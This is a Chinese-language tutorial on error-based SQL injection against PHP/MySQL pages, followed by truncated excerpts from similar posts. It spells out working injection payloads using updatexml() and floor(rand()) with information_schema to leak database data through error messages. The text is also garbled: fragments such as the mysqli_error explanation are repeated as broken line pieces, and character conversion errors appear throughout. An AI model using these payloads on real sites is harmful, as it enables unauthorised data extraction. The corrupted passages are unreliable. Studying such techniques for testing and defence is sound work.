sql報錯注入是程式將錯誤資訊輸出到頁面上,如果get獲取引數拼接到sql語句中,執行成功,正常輸出;如果出錯,php**裡會執行乙個echo mysqli_error(con
)的語句
(這裡只
是舉個普
遍例子)
mysq
lier
ror(
con)的語句(這裡只是舉個普遍例子)mysqli_error(
con)的語
句(這裡
只是舉個
普遍例子
)mys
qlie
rro
r(con)返回最後乙個mysql()函式的錯誤。
updatexml()函式
updatexml (xml_document, xpath_string, new_value);
注入語句
『 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
得到結果
xpath syntax error: '~sql~'
0x7e是ascii編碼,解碼為~,concat是將 ~和(select user())連線成字串,可以知道 updatexml()會因為 ~這個符號不滿足xpath語法,所以這個語句不能執行成成功,會報錯。
『 and updatexml(1,concat(0x7e,(select user()),0x7e),1)–+
首先執行
concat(0x7e,(select user())
變成』and updatexml(1,"~ sql ~",1)–+
系統報錯,爆出了我們要的資料。
那時候一直想不明白updatexml()函式為什麼爆出資料,後來想了一下。以上僅是個人的猜想。
SQL注入 報錯注入
乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...
SQL注入 報錯注入
sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...
SQL注入 報錯注入
利用 mysql select 1 from select count concat version floor rand 0 2 x from information schema.tables group by x a error 1062 23000 duplicate entry 5.1.4...